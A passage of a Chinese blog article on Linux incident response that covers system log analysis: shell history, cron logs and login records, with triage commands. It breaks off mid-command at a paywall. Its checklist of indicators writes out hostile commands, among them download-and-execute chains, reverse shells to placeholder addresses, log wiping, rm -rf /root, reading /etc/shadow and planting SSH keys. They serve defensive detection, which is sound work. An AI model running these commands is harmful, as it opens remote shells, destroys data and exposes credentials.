前言
继上一篇“Linux应急响应思路和技巧:网络分析篇”了解了如何从可疑的纵向和横向网络连接入手进行主机侧应急排查的基础上,本篇我们将继续介绍Linux主机侧应急排查的日志分析部分,系统选用红帽系Linux。
通过对系统、服务及已部署的安全防护产品日志进行分析(本篇重点介绍系统日志分析),可获取到记录的大量历史操作信息和操作特征,帮助追踪攻击者的活动路径和行为模式。在攻击者未清理日志的情况下很可能查找到明确的入侵痕迹,帮助梳理出攻击活动时间线,记录的操作特征也可能揭示系统或服务中存在的安全漏洞,帮助定位出入侵点。在日志没有记录明确入侵痕迹的情况下(日志可能被清理,或恶意程序使用了一些隐藏技术,或日志记录不够详细),也可尝试针对可疑进程、可疑文件等制定新的日志记录规则,或开启更详细级别的日志记录,当再次遇到攻击行为时,可能会记录下蛛丝马迹。
下图为红帽系Linux主机应急排查思维导图,本篇从日志方面进行介绍。
排查工具
常用的日志内容查看命令包括cat、vi、vim、nano,如果是压缩后的日志一般可用zcat查看,如果需要分页查看可用more、less。常用的日志内容过滤命令包括grep、egrep、tail、tailf、head、awk、sed、strings。系统和部分组件还提供了一些专门工具来查看日志,如w、last查看登录相关日志、dmesg查看内核相关日志、journalctl查看服务相关日志、ausearch、aureport查看audit审计日志、docker logs、kubectl logs查看容器日志。
可疑系统日志定位
1)bash操作日志
攻击者获取到服务器shell后,可能会执行一系列恶意操作从而在shell操作日志中留下痕迹,这里不限于bash,可能还包括zsh、csh等。通过查看日志,还可知道进行恶意shell操作的时间点,方便梳理出攻击时间线。特别关注下面列出的操作:
- 下载&加执行权限&执行,如curl http://xxx; chmod +x xxx; ./xxx.sh
- base64编码/解码,如base64 -d
- upx加壳/脱壳,如upx -d
- 替换系统命令,如mv xxx /bin/ps
- 反弹shell,如bash -i >& /dev/tcp/x.x.x.x/port 0>&1、nc -e /bin/bash x.x.x.x port、telnet x.x.x.x port0 | /bin/bash | telnet x.x.x.x port1
- 卸载安全软件/停止安全服务,如setenforce 0、disable aliyun.service
- 清除日志/清除系统一级磁盘目录/清除整个定时任务目录,如echo > /var/log/secure、rm -rf /root、rm -rf /etc/cron.d
- 提权,如su、sudo、pkexec
- 使用黑客工具,包括扫描、嗅探、爆破、隧道穿透工具等,如pnscan、fscan、nmap、hydra、socat
- 执行大量kill清除竞品,如kill其它家族挖矿木马
- 查看或修改密码/证书/系统配置/网络配置信息,如cat /etc/shadow、echo xxx >> /etc/resolv.conf
- 写入ssh后门密钥,如echo xxx > ~/.ssh/authorized_keys
- 执行包含恶意特征的命令,如包含恶意进程名、恶意文件路径、恶意IP/域名/URL
常用排查命令:
[root@localhost ~]#export HISTTIMEFORMAT="%F %T "; history #查看当前所处shell的历史操作记录
[root@localhost ~]#export HISTTIMEFORMAT="%F %T "; history | grep [keyword] #过滤当前所处shell的历史操作记录
[root@localhost ~]#more [~/.history|~/.bash_history|~/.zsh_history] #查看shell历史操作日志
[root@localhost ~]#grep [keyword] [~/.history|~/.bash_history|~/.zsh_history] | more #过滤shell历史操作日志
2)定时任务日志
攻击者通常会修改定时任务进行持久化,可查看/var/log/cron定时任务日志,关注非运维管理且与业务无关的定时任务,若已知入侵时间可关注入侵时间后新增的定时任务。类似“Linux应急响应思路和技巧:文件分析篇-系统配置检查-定时任务”中的检查方法,查看日志记录的定时任务执行命令或直接查看加载的定时任务脚本内容,一般有下载&加执行权限&执行操作、base64编码、添加可疑用户/用户组(如useradd xxx、groupadd xxx)、反弹shell、命名较随机或包含恶意特征的脚本或程序执行(如a.sh、c.sh、payload.elf、dKx32A.cron)、可疑路径下脚本或程序执行(如/tmp/xxx、/var/tmp/xxx、/var/run/xxx)、’.’开头隐藏路径下可疑脚本或程序执行(如/tmp/.xxx/xxx、/etc/.xxx)、启动恶意容器的(如docker run -d [evil_img])大概率为恶意定时任务。通过查看日志,还可确认恶意定时任务首次加载或执行的时间点,方便梳理出攻击时间线。
常用排查命令:
[root@localhost ~]# more /var/log/cron #查看定时任务日志
[root@localhost ~]# grep [keyword] /var/log/cron* | more #过滤定时任务日志
3)用户登录信息
攻击者可能创建后门账户或利用弱口令账户,通过上述账户登录服务器执行一系列恶意操作。关注登录信息中后门账户的记录(如新增的非运维管理且与业务无关的账户很可能是后门账户),关注来自异常IP的登录记录(如异地IP、非运维管理且与业务无关的登录IP、历史从未登录的IP),关注异常时间点的登录记录(如非工作时间登录),关注失败的登录尝试(可能包含爆破痕迹,特别是同一来源多次失败登录后有成功登录的记录),关注其它正在进行异常登录的账户特别是登录会话数量异常增多的情况(若存在非运维管理且与业务无关的登录会话,可能是攻击者正在登录)。通过查看登录信息,可梳理出攻击者登录服务器进行攻击的时间线,若有某段登录信息缺失(与secure日志、audit日志、其它安全防护产品日志记录的信息有出入),则大概率是攻击者清理痕迹,也可大致推测出攻击时间段。
常用排查命令:
[root@localhost ~]#who #查看当前登录用户(tty为本地登陆、pts为远程登录)
[root@localhost ~]#w #查看当前登录用户,包括系统信息、登录IP、用户执行命令等详细信息
[root@localhost ~]#uptime #查看系统信息,包括系统运行时间、当前登录用户数、系统负载平均值等
[root@localhost ~]#last [username] #查看/

最低0.47元/天 解锁文章
709

被折叠的 条评论
为什么被折叠?



